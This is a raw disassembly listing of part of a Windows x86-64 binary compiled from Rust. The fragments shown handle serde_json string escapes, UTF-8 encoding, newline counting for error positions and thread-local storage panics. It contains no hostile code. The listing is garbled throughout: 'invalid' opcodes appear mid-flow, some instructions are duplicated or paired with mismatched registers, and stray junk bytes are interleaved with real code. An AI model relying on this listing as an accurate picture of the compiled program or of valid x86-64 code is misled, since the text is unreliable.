mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 8
jmp 0x1400d1b30
mov rbx, rdx
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1400d0fd0
cmp word [rsp + 0x58], 0
jne case.0x1400a4d60.310
movzx esi, word [rsp + 0x5a]
movzx eax, si
mov ecx, eax
and ecx, 0xfc00
cmp ecx, 0xd800
je 0x1400d1b71
cmp ecx, 0xdc00
mov rcx, qword [rsp + 0x30]
je 0x1400d2552
or al, byte [rax]
invalid
mov edx, eax
xor edx, 0xffefd800
cmp edx, 0xffef0800
jb 0x1400d2776
mov r9, rbx
mov dword [rsp + 0x38], 0
cmp eax, 0x80
jae 0x1400d1c81
mov byte [rsp + 0x38], sil
mov r14d, 1
jmp 0x1400d1cd2
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1af9
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 9
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1b20
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0xd
nop word cs:[rax + rax]
inc rdx
mov qword [r8 + 0x10], rdx
lea rcx, [0x1401481b8]
mov rdx, r14
cmp r14, rbp
jb 0x1400d1870
jmp 0x1400d1d29
mov rcx, r8
mov rdi, rdx
mov rdx, r9
mov r8, r14
call fcn.140111c20
mov rdx, rdi
mov r8, qword [rsp + 0x30]
mov r9, qword [r8 + 0x10]
jmp 0x1400d18e8
mov rdx, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
cmp r14, rdx
jae 0x1400d258e
mov rax, qword [rdi]
lea rcx, [r14 + 1]
cmp byte [rax + r14], 0x5c
mov qword [rdi + 0x10], rcx
jne 0x1400d1f5e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d1300
cmp byte [rsp + 0x38], 0
jne 0x1400d1f69
add r14, 2
cmp byte [rsp + 0x39], 0x75
mov qword [rdi + 0x10], r14
jne 0x1400d1f5e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d0fd0
cmp word [rsp + 0x38], 0
jne 0x1400d1f69
movzx eax, word [rsp + 0x3a]
lea ecx, [rax + 0x2000]
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x1400d1fc5
add esi, 0x2800
movzx edx, si
shl edx, 0xa
lea ecx, [rax + 0x2400]
movzx ecx, cx
add ecx, edx
add ecx, 0x10000
mov r8d, ecx
xor r8d, 0xd800
add r8d, 0xffef0000
cmp r8d, 0xffef07ff
jbe 0x1400d1fd0
add edx, 0x10000
mov r8d, edx
shr r8d, 0x12
shr edx, 4
and edx, 0xff00
inc dword [rax]
add byte [rbp + 0xf], al
mov dh, 0xc0
inc dword [rax]
add byte [rbp + 0xf], al
mov dh, 0xc0
or r8d, edx
shl ecx, 0xa
and ecx, 0xff0000
or ecx, r8d
or ecx, eax
or ecx, eax
shl eax, 0x18
or eax, ecx
movd xmm0, eax
pand xmm0, xmm6
por xmm0, xmm7
movd dword [rsp + 0x38], xmm0
mov r14d, 4
mov rcx, qword [rsp + 0x30]
mov r9, rbx
jmp 0x1400d1cd2
cmp eax, 0x800
jae 0x1400d1ca8
mov eax, esi
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x38], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x39], sil
mov r14d, 2
jmp 0x1400d1cd2
mov edx, eax
shr edx, 0xc
or dl, 0xe0
mov byte [rsp + 0x38], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x39], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x3a], sil
mov r14d, 3
mov rax, qword [rcx]
sub rax, r9
cmp rax, r14
jb 0x1400d1d0e
mov rcx, qword [rsp + 0x50]
add rcx, r9
lea rdx, [rsp + 0x38]
mov r8, r14
mov rsi, r9
call fcn.140106250
add rsi, r14
mov r8, qword [rsp + 0x30]
mov qword [r8 + 0x10], rsi
mov rbp, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
jmp 0x1400d1b37
mov rdx, r9
mov rsi, rcx
mov r8, r14
call fcn.140111c20
mov rcx, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
jmp 0x1400d1ce2
mov r14, r12
cmp r14, rbp
jne 0x1400d1f42
mov qword [rsp + 0x38], 4
test r14, r14
jne 0x1400d1d4d
mov edx, 1
xor r8d, r8d
jmp 0x1400d1ed4
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d1e02
mov edx, 1
xor r8d, r8d
jmp 0x1400d1ea1
cmp eax, 0x22
jne 0x1400d1f73
mov rbp, qword [r8 + 0x10]
lea r15, [r12 + 1]
test rbp, rbp
je 0x1400d1ef3
mov r14, r12
sub r14, rdx
jb 0x1400d2791
add rdx, rbx
mov rax, qword [r8]
sub rax, rbp
cmp rax, r14
mov qword [rsp + 0x50], r15
jb 0x1400d1feb
mov r13, qword [r8 + 8]
mov rcx, r13
add rcx, rbp
mov r15, r8
mov r8, r14
call fcn.140106250
nop
add r8d, dword [rax]
nop
add r8d, dword [rax]
add rbp, r14
mov qword [r15 + 0x10], rbp
mov r14, qword [rsp + 0x50]
mov qword [rdi + 0x10], r14
lea rcx, [rsp + 0x58]
mov rdx, r13
mov r8, rbp
call fcn.140014520
invalid
invalid
hlt
dec dword [rax - 0x7d]
jl 0x1400d1e08
pop rax
add byte [rdi], cl
test dword [rcx], esp
add al, byte [rax]
invalid
invalid
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov qword [rax], 1
add cl, ch
sub eax, dword [rcx]
add byte [rax], al
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
add esi, 0xfffffffc
add esi, 0xfffffffc
jne 0x1400d1e30
test rcx, rcx
je 0x1400d1ed4
xor r9d, r9d
nop dword [rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400d1eb0
lea rcx, [rsp + 0x38]
call fcn.14010f930
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov qword [rcx], 2
jmp 0x1400d221d
mov r8, r12
sub r8, rdx
jb 0x1400d27a3
add rdx, rbx
mov qword [rdi + 0x10], r15
lea rcx, [rsp + 0x58]
call fcn.140014520
cmp qword [rsp + 0x58], 0
jne 0x1400d2241
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov qword [rax], 0
movups xmmword [rax + 8], xmm0
jmp 0x1400d221d
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
mov rdx, rbp
call fcn.1401082d0
mov rax, qword [rsp + 0x60]
jmp 0x1400d220d
mov qword [rsp + 0x38], 0x17
jmp 0x1400d1fd9
mov rax, qword [rsp + 0x40]
jmp 0x1400d220d
lea rax, [r12 + 1]
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x38], 0x10
cmp r12, 3
jae 0x1400d202d
xor r8d, r8d
mov edx, 1
jmp 0x1400d20d8
mov qword [rsp + 0x38], 4
cmp r12, rbp
jae 0x1400d2782
cmp r12, 3
jae 0x1400d2118
cld
add ecx, dword [rdi]
and dword [rax + 1], 0
add byte [rdx + 1], bh
mov edx, 1
xor r8d, r8d
jmp 0x1400d21c8
mov qword [rsp + 0x38], 0x14
jmp 0x1400d1fd9
mov qword [rsp + 0x38], 0xf
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400d1470
jmp 0x1400d220d
mov rcx, r8
mov r15, rdx
mov rdx, rbp
mov r8, r14
call fcn.140111c20
mov rdx, r15
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov rbp, qword [r8 + 0x10]
jmp 0x1400d1dab
mov qword [rsp + 0x38], 0xf
add byte [rax], al
cmp r12, 3
jae 0x1400d2261
mov edx, 1
xor r8d, r8d
jmp 0x1400d230b
mov rcx, rax
and rcx, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add byte [rcx - 0x46], al
add eax, dword [rax]
add byte [rax], al
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
cmovne eax, edx
cmovne eax, edx
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
add byte [rbp + 0xf], cl
invalid
invalid
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
add byte [rbp + 0xf], cl
invalid
and ch, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d2060
test al, 3
je 0x1400d1ed4
movzx eax, sil
and eax, 3
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d20f0
jmp 0x1400d1ed4
mov rax, rcx
and rax, 0xfffffffffffffffc
mov r9d, 1
add byte [rbp + 0x31], al
shl byte [rsi + 0xf], 0x6f
add eax, 0x40590
add byte [rbp + 0x31], al
shl byte [rsi + 0xf], 0x6f
add eax, 0x40590
mov r10d, 3
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
cmovne r8, r14
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rax, 0xfffffffffffffffc
jne 0x1400d2150
test cl, 3
je 0x1400d2203
movzx eax, sil
and eax, 3
xor ecx, ecx
nop word cs:[rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d21e0
lea rcx, [rsp + 0x38]
call fcn.14010f930
mov rsi, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], 2
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], 0xf
cmp r12, 3
jae 0x1400d2348
mov edx, 1
xor r8d, r8d
jmp 0x1400d23eb
mov rax, r14
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
shr r11b, 2
and r11b, 0x33
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d2290
test r14b, 3
je 0x1400d1ed4
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2320
jmp 0x1400d1ed4
mov rax, r15
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
xor eax, dword [rcx - 0x40]
jmp 0x1400d23cb
and r11b, 0x33
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d2370
test r15b, 3
je 0x1400d1ed4
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2400
jmp 0x1400d1ed4
add r15, 0xfffffffffffffffe
mov qword [rsp + 0x38], 0xc
mov rax, qword [rsp + 0x70]
add rax, r15
inc rax
cmp rax, 3
jae 0x1400d2458
xor r8d, r8d
mov edx, 1
mov rsi, qword [rsp + 0x28]
jmp 0x1400d250c
add r12, 2
and r12, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ecx, 3
mov r9d, 2
mov edx, 1
mov rsi, qword [rsp + 0x28]
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r10d, xmm1
test r10b, 1
cmovne r8, rcx
test r10b, 2
cmovne r8, r9
test r10b, 4
cmovne r8, rax
test r10b, 8
mov r11d, 0
cmovne r8, r11
mov r11d, r10d
shr r11b, 1
and r11b, 5
sub r10b, r11b
mov r11d, r10d
and r11b, 0x33
shr r10b, 2
and r10b, 0x33
add r10b, r11b
mov r11d, r10d
shr r11b, 4
add r11b, r10b
and r11b, 0xf
movzx r10d, r11b
add rdx, r10
add r12, 0xfffffffffffffffc
jne 0x1400d2490
test r14b, 3
je 0x1400d2543
movzx eax, r13b
and eax, 3
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2520
lea rcx, [rsp + 0x38]
call fcn.14010f930
jmp 0x1400d2212
mov qword [rsp + 0x38], 0x14
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
cmp rcx, rdx
ja 0x1400d27b5
test rcx, rcx
je 0x1400d25a2
mov rax, qword [rdi]
mov r9d, ecx
and r9d, 3
cmp rcx, 4
jae 0x1400d25cf
mov edx, 1
xor r8d, r8d
jmp 0x1400d2665
mov qword [rsp + 0x38], 4
ja 0x1400d27c1
test r14, r14
jne 0x1400d25af
mov edx, 1
xor r8d, r8d
jmp 0x1400d2203
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d2698
mov edx, 1
xor r8d, r8d
jmp 0x1400d272f
and rcx, 0xfffffffffffffffc
mov r10d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r11
test dil, 2
cmovne r8, rsi
test dil, 4
cmovne r8, r10
test dil, 8
mov ebx, 0
cmovne r8, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
and dil, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
movzx edi, bl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d25f4
test r9, r9
je 0x1400d2203
xor ecx, ecx
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x1400d2670
jmp 0x1400d2203
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
jne 0x1400d26be
test rcx, rcx
je 0x1400d2203
xor r9d, r9d
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400d273b
jmp 0x1400d2203
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108530
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.140108690
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rdx, rbp
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
call fcn.140108340
int3
sub eax, dword [rax]
add byte [rax - 0x77], cl
invalid
add byte [rax], al
lea rax, [rbp - 0x18]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
lea rax, [rbp - 8]
mov qword [rbp], rax
mov qword [rbp + 8], 0
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x75923
add byte [rax - 0x73], cl
adc eax, 0x75923
mov rcx, rbp
lea r8, [rbp - 0x58]
call fcn.140013bb0
mov rcx, qword [rbp + 8]
test al, al
je 0x1400d3265
test rcx, rcx
lea rax, str.formatter_error
lea eax, [0x140149638]
lea eax, [0x140149638]
cmovne rax, rcx
mov qword [rbp], rax
mov rcx, rbp
mov ecx, ebp
mov ecx, ebp
call case.0x140019144.3166
lock dec qword [rsi]
jne 0x1400d3259
mov rcx, rsi
call fcn.1400d4b70
xor eax, eax
add rsp, 0x98
pop rsi
pop rbp
ret
test rcx, rcx
je 0x1400d3273
lea rcx, [rbp + 8]
call case.0x140019144.3166
mov qword [rbp], 0
mov dword [rbp], 0
lock dec qword [rsi]
je 0x1400d3251
jmp 0x1400d3259
add byte [rax], al
call fcn.1401086b0
ud2
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x80]
call fcn.140108760
push rsp
add eax, dword [rax]
push rsp
add eax, dword [rax]
int3
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
mov rdx, rax
test rax, rax
je 0x1400d3384
mov qword [rdx], 1
add dword [rax], eax
add byte [rax], al
mov qword [rdx + 8], 1
movups xmm0, xmmword [rsi]
movups xmmword [rdx + 0x10], xmm0
adc dword [rdx + 0x10], eax
adc dword [rdx + 0x10], eax
mov rax, qword [rsi + 0x10]
mov qword [rdx + 0x20], rax
mov rax, qword [0x140182258]
nop word cs:[rax + rax]
mov rcx, rax
inc rcx
je 0x1400d3375
lock cmpxchg qword [0x140182258], rcx
jne 0x1400d3350
mov qword [rdx + 0x28], rcx
mov byte [rdx + 0x30], 0
mov rax, rdx
mov eax, edx
mov eax, edx
add rsp, 0x38
pop rsi
pop rbp
ret
mov qword [rbp - 8], rdx
mov qword [rbp - 0x10], rsi
call fcn.14010ffe0
jmp 0x1400d339b
mov qword [rbp - 8], rdx
mov qword [rbp - 0x10], rsi
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
ud2
push 0x30
mov rax, qword [rbp - 8]
lock dec qword [rax]
jne 0x1400d33c2
mov rcx, qword [rbp - 8]
call fcn.1400d5c70
nop
add rsp, 0x28
pop rsi
pop rbp
ret
sub esp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
cmp qword [rbp - 8], 0
je 0x1400d33ed
add rsp, 0x28
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x10]
call fcn.1400d5ca0
jmp 0x1400d33e6
push rax
mov qword [rbp - 8], 0xfffffffffffffffe
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400d3485
mov qword [rbp - 0x18], rcx
test eax, eax
jne 0x1400d34f4
invalid
mov bh, 0
add byte [rax], al
test dword [rdi - 0x3a000000], esi
test dword [r9], 0xeecd058b
or al, byte [rax]
mov byte [rbp - 9], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xc0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400d49c0]
add byte [rax], al
lea rdx, [0x1400d49c0]
call fcn.1400d4a00
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 1
mov rcx, qword [rbp - 0x18]
mov eax, dword [0x140182314]
out dx, al
or al, byte [rax]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
cmp qword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
jne 0x1400d34c2
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xc0], rcx
add rsp, 0x50
pop rbp
ret
ret 0x8948
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rcx
lea rax, [0x140148ce8]
add eax, 0x75817
loopne 0x1400d3513
lea eax, [0x140148ce8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
imul ebp, ecx, 9
add byte [rbp + rcx*4 + 0xd], cl
invalid
push rbx
invalid
add byte [rbp + rcx*4 + 0x45], cl
loopne 0x1400d34a3
sub eax, dword [rax]
add byte [rax], al
call fcn.140108600
ud2
imul ebp, ecx, 9
add byte [rbp + rcx*4 + 0xd], cl
invalid
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
lock dec qword [rax]
jne 0x1400d3507
mov rcx, qword [rbp - 0x18]
call fcn.1400d4b70
lea rax, [0x140148cd0]
lea eax, [0x140148cd0]
add eax, 0x757c2
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
lea ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
invalid
lea r9, [0x140148848]
or eax, 0x75327
lea r8, [rbp - 0xa]
mov edx, 0x46
idiv byte [rdx + 0x46]
call fcn.140108600
int3
push rsp
and al, 0x10
adc byte [rbp + 0x48], dl
sub esp, 0x30
invalid
adc byte [rbp + 0x48], dl
sub esp, 0x30
invalid
in al, dx
xor byte [rax - 0x73], cl
lea rbp, [rdx + 0x50]
push 0x50
mov rax, qword [rbp - 0x20]
lock dec qword [rax]
jne 0x1400d3551
mov rcx, qword [rbp - 0x20]
call fcn.1400d4b70
mov byte [rbp - 9], 0
add rsp, 0x30
pop rbp
ret
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x30
in al, dx
xor byte [rax - 0x73], cl
push 0x50
in al, dx
xor byte [rax - 0x73], cl
push 0x50
cmp byte [rbp - 9], 0
je 0x1400d3587
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
jne 0x1400d3587
invalid
or dword [rax - 0x75], ecx
call 0x140231f6e
add byte [rax + 0x30c48348], dl
mov rcx, qword [rbp - 0x18]
call fcn.1400d4b70
nop
add rsp, 0x30
pop rbp
ret
clc
invalid
lock add byte [rax], al
add byte [rax], al
lea rdx, [0x140148b40]
lea rcx, [rbp - 0x18]
call fcn.140013bb0
mov rcx, qword [rbp - 0x10]
test al, al
je 0x1400d35dd
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
add rsp, 0x40
pop rbp
ret
test rcx, rcx
je 0x1400d35eb
lea rcx, [rbp - 0x10]
call case.0x140019144.3166
xor eax, eax
add rsp, 0x40
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x10], 0
jge 0x1400d3602
invalid
je 0x1400d361e
jge 0x1400d3602
lea rcx, [rbp - 0x10]
call case.0x140019144.3166
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbp
ret
cmp qword [rcx], 0
je 0x1400d3640
pop rbp
jmp case.0x140019144.3166
nop
pop rbp
ret
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx]
add dword [rcx + 0x3e183c1], ecx
clc
invalid
invalid
add dword [rcx + 0x3e183c1], ecx
loope 0x1400d366d
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400d3679
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 5]
test rcx, rcx
jne 0x1400d367f
add rsp, 0x40
pop rbp
ret
lea rcx, [rax - 1]
lea ecx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
mov dword [rbp - 0x10], ecx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1400d36c8
cmp qword [rax + 0x10], 0x11
jae 0x1400d36b1
mov r8, qword [rbp - 0x10]
jmp 0x1400d36b9
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
mov r8, qword [rbp - 0x20]
